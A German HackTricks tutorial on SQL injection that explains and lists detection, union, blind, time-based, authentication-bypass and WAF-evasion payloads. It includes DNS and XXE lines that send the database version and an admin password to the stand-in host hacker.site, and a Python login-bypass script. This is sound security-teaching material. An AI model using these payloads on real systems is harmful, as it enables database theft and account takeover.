hacktricks/pentesting-web/sql-injection/README.md

30 KiB
Raw Blame History

SQL Injection

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks
{% endhint %}

RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

{% embed url="https://www.rootedcon.com/" %}

Was ist SQL-Injection?

Eine SQL-Injection ist ein Sicherheitsfehler, der Angreifern ermöglicht, Datenbankabfragen einer Anwendung zu beeinflussen. Diese Schwachstelle kann Angreifern ermöglichen, Daten anzuzeigen, zu ändern oder zu löschen, auf die sie keinen Zugriff haben sollten, einschließlich Informationen anderer Benutzer oder aller Daten, auf die die Anwendung zugreifen kann. Solche Aktionen können zu dauerhaften Änderungen an der Funktionalität oder dem Inhalt der Anwendung führen oder sogar den Server gefährden oder einen Denial-of-Service verursachen.

Erkennung von Einstiegspunkten

Wenn eine Website anfällig für SQL-Injection (SQLi) erscheint, aufgrund ungewöhnlicher Serverantworten auf SQLi-bezogene Eingaben, ist der erste Schritt, zu verstehen, wie man Daten in die Abfrage injiziert, ohne sie zu stören. Dies erfordert die Identifizierung der Methode, um wirksam aus dem aktuellen Kontext zu entkommen. Dies sind einige nützliche Beispiele:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Dann müssen Sie wissen, wie Sie die Abfrage so reparieren, dass es keine Fehler gibt. Um die Abfrage zu reparieren, können Sie Daten eingeben, damit die vorherige Abfrage die neuen Daten akzeptiert, oder Sie können einfach Ihre Daten eingeben und ein Kommentarsymbol am Ende hinzufügen.

Beachten Sie, dass diese Phase einfacher wird, wenn Sie Fehlermeldungen sehen oder Unterschiede feststellen können, wenn eine Abfrage funktioniert und wenn nicht.

Kommentare

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Bestätigen mit logischen Operationen

Eine zuverlässige Methode zur Bestätigung einer SQL-Injection-Schwachstelle besteht darin, eine logische Operation auszuführen und die erwarteten Ergebnisse zu beobachten. Wenn beispielsweise ein GET-Parameter wie ?username=Peter identische Inhalte liefert, wenn er auf ?username=Peter' oder '1'='1 geändert wird, deutet dies auf eine SQL-Injection-Schwachstelle hin.

Ebenso dient die Anwendung von mathematischen Operationen als effektive Bestätigungstechnik. Wenn der Zugriff auf ?id=1 und ?id=2-1 dasselbe Ergebnis liefert, ist dies ein Hinweis auf SQL-Injection.

Beispiele, die die Bestätigung durch logische Operationen demonstrieren:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Diese Wortliste wurde erstellt, um SQL-Injektionen auf die vorgeschlagene Weise zu bestätigen:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

Bestätigung mit Timing

In einigen Fällen werden Sie keine Änderungen auf der Seite bemerken, die Sie testen. Daher ist eine gute Möglichkeit, blinde SQL-Injektionen zu entdecken, die DB Aktionen ausführen zu lassen, die einen Einfluss auf die Zeit haben, die die Seite zum Laden benötigt.
Daher werden wir in der SQL-Abfrage eine Operation concatenieren, die viel Zeit in Anspruch nehmen wird:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

In einigen Fällen werden die Sleep-Funktionen nicht erlaubt sein. Statt diese Funktionen zu verwenden, könnten Sie die Abfrage komplexe Operationen ausführen lassen, die mehrere Sekunden in Anspruch nehmen. Beispiele für diese Techniken werden separat für jede Technologie kommentiert (sofern vorhanden).

Identifizierung des Back-ends

Der beste Weg, das Back-end zu identifizieren, besteht darin, zu versuchen, Funktionen der verschiedenen Back-ends auszuführen. Sie könnten die Sleep Funktionen des vorherigen Abschnitts oder diese hier verwenden (Tabelle von payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Auch wenn Sie Zugriff auf die Ausgabe der Abfrage haben, könnten Sie die Version der Datenbank ausgeben lassen.

{% hint style="info" %} In der Fortsetzung werden wir verschiedene Methoden zur Ausnutzung verschiedener Arten von SQL-Injection besprechen. Wir werden MySQL als Beispiel verwenden. {% endhint %}

Identifizierung mit PortSwigger

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Ausnutzung von Union Based

Erkennung der Anzahl der Spalten

Wenn Sie die Ausgabe der Abfrage sehen können, ist dies der beste Weg, um sie auszunutzen.
Zunächst müssen wir die Anzahl der Spalten herausfinden, die die ursprüngliche Anfrage zurückgibt. Dies liegt daran, dass beide Abfragen die gleiche Anzahl von Spalten zurückgeben müssen.
Zwei Methoden werden typischerweise zu diesem Zweck verwendet:

Order/Group by

Um die Anzahl der Spalten in einer Abfrage zu bestimmen, passen Sie schrittweise die Zahl in den ORDER BY- oder GROUP BY-Klauseln an, bis eine falsche Antwort zurückgegeben wird. Trotz der unterschiedlichen Funktionen von GROUP BY und ORDER BY innerhalb von SQL können beide identisch verwendet werden, um die Spaltenanzahl der Abfrage zu ermitteln.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Wählen Sie immer mehr Nullwerte aus, bis die Abfrage korrekt ist:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Man sollte null-Werte verwenden, da in einigen Fällen der Typ der Spalten auf beiden Seiten der Abfrage gleich sein muss und null in jedem Fall gültig ist.

Datenbanknamen, Tabellennamen und Spaltennamen extrahieren

In den nächsten Beispielen werden wir den Namen aller Datenbanken, den Tabellennamen einer Datenbank und die Spaltennamen der Tabelle abrufen:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Es gibt einen anderen Weg, um diese Daten in jeder verschiedenen Datenbank zu entdecken, aber die Methodik bleibt immer gleich.

Ausnutzen von versteckten Union-basierten

Wenn die Ausgabe einer Abfrage sichtbar ist, aber eine union-basierte Injektion unerreichbar scheint, deutet dies auf das Vorhandensein einer versteckten union-basierten Injektion hin. Dieses Szenario führt oft zu einer blinden Injektionssituation. Um eine blinde Injektion in eine union-basierte zu verwandeln, muss die Ausführungsabfrage im Backend erkannt werden.

Dies kann durch die Verwendung von Techniken zur blinden Injektion zusammen mit den Standardtabellen, die spezifisch für Ihr Ziel-Datenbankverwaltungssystem (DBMS) sind, erreicht werden. Um diese Standardtabellen zu verstehen, wird empfohlen, die Dokumentation des Ziel-DBMS zu konsultieren.

Sobald die Abfrage extrahiert wurde, ist es notwendig, Ihr Payload so anzupassen, dass die ursprüngliche Abfrage sicher geschlossen wird. Anschließend wird eine Union-Abfrage an Ihr Payload angehängt, um die Ausnutzung der neu zugänglichen union-basierten Injektion zu ermöglichen.

Für umfassendere Einblicke verweisen Sie auf den vollständigen Artikel, der unter Healing Blind Injections verfügbar ist.

Ausnutzen von Fehler-basiert

Wenn Sie aus irgendeinem Grund die Ausgabe der Abfrage nicht sehen können, aber die Fehlermeldungen sehen können, können Sie diese Fehlermeldungen verwenden, um Daten aus der Datenbank zu exfiltrieren.
Indem Sie einem ähnlichen Ablauf wie bei der Union-basierten Ausnutzung folgen, könnten Sie es schaffen, die DB zu dumpen.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Ausnutzen von Blind SQLi

In diesem Fall können Sie die Ergebnisse der Abfrage oder die Fehler nicht sehen, aber Sie können unterscheiden, wann die Abfrage eine wahre oder eine falsche Antwort zurückgibt, da es unterschiedliche Inhalte auf der Seite gibt.
In diesem Fall können Sie dieses Verhalten ausnutzen, um die Datenbank Zeichen für Zeichen zu dumpen:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Ausnutzen von Error Blind SQLi

Dies ist der gleiche Fall wie zuvor, aber anstatt zwischen einer wahr/falsch-Antwort von der Abfrage zu unterscheiden, können Sie zwischen einem Fehler in der SQL-Abfrage oder nicht unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher können Sie in diesem Fall jedes Mal einen SQL-Fehler erzwingen, wenn Sie das Zeichen richtig erraten:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Ausnutzen von Zeitbasiertem SQLi

In diesem Fall gibt es keine Möglichkeit, die Antwort der Abfrage basierend auf dem Kontext der Seite zu unterscheiden. Aber Sie können die Seite länger laden lassen, wenn das erratene Zeichen korrekt ist. Wir haben diese Technik bereits zuvor verwendet, um eine SQLi-Schwachstelle zu bestätigen.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Sie können gestapelte Abfragen verwenden, um mehrere Abfragen nacheinander auszuführen. Beachten Sie, dass während die nachfolgenden Abfragen ausgeführt werden, die Ergebnisse nicht an die Anwendung zurückgegeben werden. Daher ist diese Technik hauptsächlich im Zusammenhang mit blinden Schwachstellen nützlich, bei denen Sie eine zweite Abfrage verwenden können, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.

Oracle unterstützt gestapelte Abfragen nicht. MySQL, Microsoft und PostgreSQL unterstützen sie: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Wenn keine andere Exploitationsmethode funktioniert hat, können Sie versuchen, die Datenbank die Informationen an einen externen Host zu exfiltrieren, der von Ihnen kontrolliert wird. Zum Beispiel über DNS-Abfragen:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Datenexfiltration außerhalb des Bandes über XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automatisierte Ausnutzung

Überprüfen Sie das SQLMap Cheatsheet, um eine SQLi-Schwachstelle mit sqlmap auszunutzen.

Technologiespezifische Informationen

Wir haben bereits alle Möglichkeiten besprochen, eine SQL-Injection-Schwachstelle auszunutzen. Finden Sie einige weitere Tricks, die von der Datenbanktechnologie abhängen, in diesem Buch:

Oder Sie finden eine Menge Tricks zu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite und HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.

{% embed url="https://www.rootedcon.com/" %}

Authentifizierungsumgehung

Liste zum Versuch, die Anmeldefunktion zu umgehen:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

Roh-Hash-Authentifizierungsumgehung

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Diese Abfrage zeigt eine Schwachstelle, wenn MD5 mit true für Rohdaten in Authentifizierungsprüfungen verwendet wird, wodurch das System anfällig für SQL-Injection wird. Angreifer können dies ausnutzen, indem sie Eingaben erstellen, die, wenn sie gehasht werden, unerwartete Teile von SQL-Befehlen erzeugen, was zu unbefugtem Zugriff führt.

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

Umgehung der Authentifizierung durch injizierten Hash

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Empfohlene Liste:

Sie sollten als Benutzernamen jede Zeile der Liste verwenden und als Passwort immer: Pass1234.
(Diese Payloads sind auch in der großen Liste enthalten, die zu Beginn dieses Abschnitts erwähnt wurde)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK Authentifizierungsumgehung

WENN ' escaped wird, können Sie %A8%27 verwenden, und wenn ' escaped wird, wird erstellt: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python-Skript:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot-Injektion (Multikontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Passwort eines bestehenden Objekts/Benutzers ändern

Dazu sollten Sie versuchen, ein neues Objekt mit dem Namen des "Master-Objekts" (wahrscheinlich admin im Falle von Benutzern) zu erstellen, indem Sie etwas ändern:

  • Benutzer mit dem Namen: AdMIn (Groß- und Kleinbuchstaben)
  • Benutzer mit dem Namen: admin=
  • SQL Truncation Attack (wenn es eine Art von Längenbeschränkung im Benutzernamen oder der E-Mail gibt) --> Benutzer mit dem Namen: admin [viele Leerzeichen] a erstellen

SQL Truncation Attack

Wenn die Datenbank anfällig ist und die maximale Anzahl von Zeichen für den Benutzernamen beispielsweise 30 beträgt und Sie den Benutzer admin nachahmen möchten, versuchen Sie, einen Benutzernamen mit dem Namen: "admin [30 Leerzeichen] a" und einem beliebigen Passwort zu erstellen.

Die Datenbank wird überprüfen, ob der eingegebene Benutzername in der Datenbank existiert. Wenn nicht, wird sie den Benutzernamen auf die maximal erlaubte Anzahl von Zeichen (in diesem Fall auf: "admin [25 Leerzeichen]") kürzen und dann wird sie automatisch alle Leerzeichen am Ende entfernen und den Benutzer "admin" in der Datenbank mit dem neuen Passwort aktualisieren (einige Fehler könnten auftreten, aber das bedeutet nicht, dass es nicht funktioniert hat).

Weitere Informationen: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Hinweis: Dieser Angriff wird in den neuesten MySQL-Installationen nicht mehr wie oben beschrieben funktionieren. Während Vergleiche standardmäßig nachfolgende Leerzeichen ignorieren, führt der Versuch, eine Zeichenfolge einzufügen, die länger als die Länge eines Feldes ist, zu einem Fehler, und die Einfügung schlägt fehl. Für weitere Informationen zu dieser Überprüfung: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert zeitbasierte Überprüfung

Fügen Sie so viele ','','' hinzu, wie Sie für notwendig halten, um die VALUES-Anweisung zu verlassen. Wenn eine Verzögerung ausgeführt wird, haben Sie eine SQL-Injection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Die ON DUPLICATE KEY UPDATE-Klausel in MySQL wird verwendet, um Aktionen anzugeben, die die Datenbank ausführen soll, wenn ein Versuch unternommen wird, eine Zeile einzufügen, die zu einem doppelten Wert in einem UNIQUE-Index oder PRIMARY KEY führen würde. Das folgende Beispiel zeigt, wie diese Funktion ausgenutzt werden kann, um das Passwort eines Administratorkontos zu ändern:

Beispiel Payload-Injektion:

Eine Injektions-Payload könnte wie folgt erstellt werden, wobei versucht wird, zwei Zeilen in die users-Tabelle einzufügen. Die erste Zeile ist eine Ablenkung, und die zweite Zeile zielt auf die E-Mail eines bestehenden Administrators ab, mit der Absicht, das Passwort zu aktualisieren:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Hier ist, wie es funktioniert:

  • Die Abfrage versucht, zwei Zeilen einzufügen: eine für generic_user@example.com und eine andere für admin_generic@example.com.
  • Wenn die Zeile für admin_generic@example.com bereits existiert, wird die Klausel ON DUPLICATE KEY UPDATE ausgelöst, die MySQL anweist, das Feld password der vorhandenen Zeile auf "bcrypt_hash_of_newpassword" zu aktualisieren.
  • Folglich kann die Authentifizierung dann mit admin_generic@example.com unter Verwendung des Passworts, das dem bcrypt-Hash entspricht, versucht werden ("bcrypt_hash_of_newpassword" steht für den bcrypt-Hash des neuen Passworts, der durch den tatsächlichen Hash des gewünschten Passworts ersetzt werden sollte).

Informationen extrahieren

Erstellen von 2 Konten zur gleichen Zeit

Beim Versuch, einen neuen Benutzer zu erstellen, sind Benutzername, Passwort und E-Mail erforderlich:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Verwendung von Dezimal- oder Hexadezimalzahlen

Mit dieser Technik können Sie Informationen extrahieren, indem Sie nur 1 Konto erstellen. Es ist wichtig zu beachten, dass Sie nichts kommentieren müssen.

Verwendung von hex2dec und substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Um den Text zu erhalten, können Sie Folgendes verwenden:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Verwendung von hex und replace (und substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.

{% embed url="https://www.rootedcon.com/" %}

Routed SQL-Injection

Routed SQL-Injection ist eine Situation, in der die injizierbare Abfrage nicht diejenige ist, die eine Ausgabe liefert, sondern die Ausgabe der injizierbaren Abfrage an die Abfrage geht, die eine Ausgabe liefert. (From Paper)

Beispiel:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

Kein Leerzeichen (%20) - Bypass unter Verwendung von Alternativen für Leerzeichen

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - Umgehung mit Kommentaren

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - Umgehung mit Klammern

?id=(1)and(1)=(1)--

No commas bypass

No Comma - Umgehung mit OFFSET, FROM und JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

Blacklist unter Verwendung von Schlüsselwörtern - Bypass unter Verwendung von Groß-/Kleinbuchstaben

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist unter Verwendung von Schlüsselwörtern, Groß- und Kleinschreibung ignorierend - Umgehung mit einem äquivalenten Operator

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

Eine ausführlichere Erklärung dieses Tricks finden Sie im gosecure Blog.
Im Grunde können Sie die wissenschaftliche Notation auf unerwartete Weise verwenden, um die WAF zu umgehen:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass Column Names Restriction

Zunächst einmal beachten Sie, dass wenn die ursprüngliche Abfrage und die Tabelle, aus der Sie das Flag extrahieren möchten, die gleiche Anzahl an Spalten haben, Sie einfach Folgendes tun können: 0 UNION SELECT * FROM flag

Es ist möglich, auf die dritte Spalte einer Tabelle zuzugreifen, ohne ihren Namen zu verwenden, indem Sie eine Abfrage wie die folgende verwenden: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, sodass dies in einer sqlinjection so aussehen würde:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Oder durch die Verwendung eines Comma Bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Dieser Trick wurde von https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ übernommen.

WAF-Bypass-Vorschlagstools

{% embed url="https://github.com/m4ll0k/Atlas" %}

Weitere Anleitungen

Brute-Force-Erkennungsliste

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks
{% endhint %}